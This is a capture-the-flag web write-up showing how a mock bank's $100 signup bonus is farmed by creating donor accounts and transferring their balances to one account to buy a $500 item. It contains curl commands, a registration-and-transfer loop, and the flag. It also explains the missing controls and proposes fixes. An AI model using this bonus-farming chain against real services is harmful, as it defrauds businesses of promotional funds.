~/labs/ctf/fluid-attacks-latam-2026-2/withdraw-under-pressure
Withdraw Under PressureMeridian Trust Bank hands every new customer a $100.00 welcome bonus and moves money between accounts in real time. Real fast, even. Premium Account Access runs $500.00 and comes with a shiny membership...
Metadata
| Field | Value |
|---|---|
| Category | web |
| Difficulty | Hard |
| Points | 100 |
| Solves | 86 |
| First Blood | simown |
Challenge Description
Meridian Trust Bank hands every new customer a $100.00 welcome bonus and moves
money between accounts in real time. Real fast, even.
Premium Account Access runs $500.00 and comes with a shiny membership
certificate.
Artifacts
This challenge did not include source code. The useful artifacts are the solver and evidence captured from the live web application:
solve_withdraw.sh
assets/register.html
assets/register-page.png
assets/receiver-dashboard.html
assets/receiver-dashboard-after.html
assets/dashboard-500.png
assets/store.html
assets/store-premium.png
assets/receiver-balance-before.json
assets/receiver-balance-after.json
assets/buy-before.json
assets/buy-after.json
static/style.css
Target used during the solve:
https://b706ffc72d3e4e61.chal.ctf.ae
Recon
I started with normal black-box web recon. The root route redirected to login:
curl -k -i https://b706ffc72d3e4e61.chal.ctf.ae/
Relevant response:
HTTP/1.1 302 FOUND
Server: gunicorn
Location: /login
The login page exposed a registration link:
curl -k -i https://b706ffc72d3e4e61.chal.ctf.ae/login
Relevant form:
<form method="POST" action="/login" class="auth-form">
<input type="text" id="username" name="username">
<input type="password" id="password" name="password">
</form>
The registration page was more important because the challenge text mentioned a welcome bonus. The page confirmed both the account creation fields and the initial account balance:
curl -k -i https://b706ffc72d3e4e61.chal.ctf.ae/register
Relevant form:
<form method="POST" action="/register" class="auth-form">
<input type="text" id="username" name="username" minlength="3" maxlength="20">
<input type="password" id="password" name="password" minlength="6">
</form>
The page also says:
we'll seed it with a $100 welcome balance
Browser evidence:

After registering a normal user, the dashboard showed a live balance of
$100.00 and a transfer form:
<div class="balance-value num" id="balance-display">$100.00</div>
...
<form id="transfer-form" class="inline-form">
<input type="text" id="to_user" name="to_user">
<input type="number" id="amount" name="amount">
</form>
The dashboard JavaScript showed the important endpoints:
fetch('/transfer', { method: 'POST', body: data })
fetch('/balance')
The upgrade store page showed the target item and price:
<h3>Premium Account Access</h3>
<span class="store-item-price num">$500.00</span>
At this point, the attack surface was not a parser or injection bug. It was an accounting workflow:
/register -> creates an account with $100.00
/balance -> returns current balance
/transfer -> moves money to another username
/store/buy -> buys premium_access for $500.00
Vulnerability
The vulnerability is business logic abuse of the welcome bonus. Each newly
created account receives $100.00, and that welcome balance can be transferred
to another user. The application does not enforce a meaningful per-person,
per-device, per-payment-method, or abuse-rate limit that prevents a user from
creating several accounts and consolidating all welcome balances into one
recipient.
I did not start from that conclusion. The reasoning was:
- The prompt emphasized the welcome bonus and the premium item price.
- The UI confirmed that every new account starts at
$100.00. - Buying premium as a fresh user failed because the item requires
$500.00. - The dashboard exposed a normal transfer workflow.
- A transfer from one fresh account to another succeeded.
- Repeating that workflow with additional fresh accounts increased the recipient balance predictably.
The control request was buying premium before any transfers:
curl -k -b receiver.cookie \
-F 'item=premium_access' \
https://b706ffc72d3e4e61.chal.ctf.ae/store/buy
Response:
{"balance":100.0,"error":"Insufficient funds","required":500.0}
That proved the store was enforcing the $500.00 price. The missing control was
not in /store/buy; it was earlier in the business process, where the system
allowed unlimited acquisition and transfer of signup bonuses.
This fits OWASP’s business logic testing guidance around function-use limits and integrity checks: if a function gives a user a benefit, the application needs server-side controls that prevent the benefit from being reused or aggregated in a way that violates the intended business rule.
Exploitation
The exploit chain was:
- Register one receiver account.
- Confirm the receiver starts with
$100.00. - Try to buy
premium_accessand confirm it fails at$100.00. - Register four donor accounts.
- From each donor session, transfer
$100.00to the receiver username. - Confirm the receiver balance is now
$500.00. - Buy
premium_accessfrom the receiver session. - Read the flag from the purchase response.
The receiver account was created with:
curl -k -sS -L \
-c receiver.cookie \
-b receiver.cookie \
-d 'username=<receiver>&password=Passw0rd' \
https://b706ffc72d3e4e61.chal.ctf.ae/register
The starting balance was:
curl -k -sS -b receiver.cookie \
https://b706ffc72d3e4e61.chal.ctf.ae/balance
Response:
{"balance":100.0}
Then I created donors and transferred each welcome balance:
for i in 1 2 3 4; do
donor="d${i}<random>"
jar="donor-${i}.cookie"
curl -k -sS -L \
-c "$jar" \
-b "$jar" \
-d "username=$donor&password=Passw0rd" \
https://b706ffc72d3e4e61.chal.ctf.ae/register
curl -k -sS \
-b "$jar" \
-F "to_user=<receiver>" \
-F "amount=100.00" \
https://b706ffc72d3e4e61.chal.ctf.ae/transfer
done
Four donor accounts are required:
receiver initial balance = $100.00
4 donor bonuses = $400.00
final receiver balance = $500.00
The receiver balance after the transfers was:
curl -k -sS -b receiver.cookie \
https://b706ffc72d3e4e61.chal.ctf.ae/balance
Response:
{"balance":500.0}
Browser evidence:

The store showed the receiver had enough funds for the $500.00 premium item:

The final purchase request was:
curl -k -sS \
-b receiver.cookie \
-F 'item=premium_access' \
https://b706ffc72d3e4e61.chal.ctf.ae/store/buy
Response:
{"flag":"flag{81be697a0eb4d233}","item":"premium_access","status":"success"}
Technical Details
This challenge is a business logic vulnerability rather than a race condition, SQL injection, or authentication bypass.
The store correctly checks the current account balance:
balance < 500.00 -> insufficient funds
balance = 500.00 -> premium purchase succeeds
The flaw is that the accounting model lets one operator manufacture spendable funds by creating more identities:
register account A -> A gets $100
register account B -> B gets $100
B transfers $100 to A
repeat until A has $500
The intended business invariant should have been something like:
one promotional signup bonus per real customer
promotional funds cannot be freely transferred
or premium purchases cannot be funded by promotional credit alone
The observed invariant was weaker:
one promotional signup bonus per account username
all account balances are transferable
premium purchase only checks recipient balance
A proper fix would enforce abuse-resistant bonus eligibility on the server side, track bonus provenance separately from cash balance, restrict promotional funds from transfers or premium purchases, and add velocity limits/fraud checks for new account creation and immediate bonus transfers.
Exploit Artifact
The final artifact is solve_withdraw.sh. It:
- creates a receiver account;
- confirms the initial balance;
- confirms premium purchase fails at
$100.00; - creates four donor accounts;
- transfers
$100.00from each donor to the receiver; - confirms the receiver balance reaches
$500.00; - buys
premium_access; - prints the flag.
Usage:
chmod +x solve_withdraw.sh
./solve_withdraw.sh https://b706ffc72d3e4e61.chal.ctf.ae
To regenerate HTML/JSON evidence:
WITHDRAW_EVIDENCE_DIR=assets \
./solve_withdraw.sh https://b706ffc72d3e4e61.chal.ctf.ae
Validation
Syntax check:
bash -n solve_withdraw.sh
Initial balance:
{"balance":100.0}
Purchase before consolidation:
{"balance":100.0,"error":"Insufficient funds","required":500.0}
Balance after four donor transfers:
{"balance":500.0}
Final purchase:
{"flag":"flag{81be697a0eb4d233}","item":"premium_access","status":"success"}
Final script output:
flag{81be697a0eb4d233}
References
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-Business_Logic_Testing/README
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-Business_Logic_Testing/05-Test_Number_of_Times_a_Function_Can_Be_Used_Limits
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-Business_Logic_Testing/03-Test_Integrity_Checks
- https://portswigger.net/web-security/logic-flaws
Flag
flag{81be697a0eb4d233}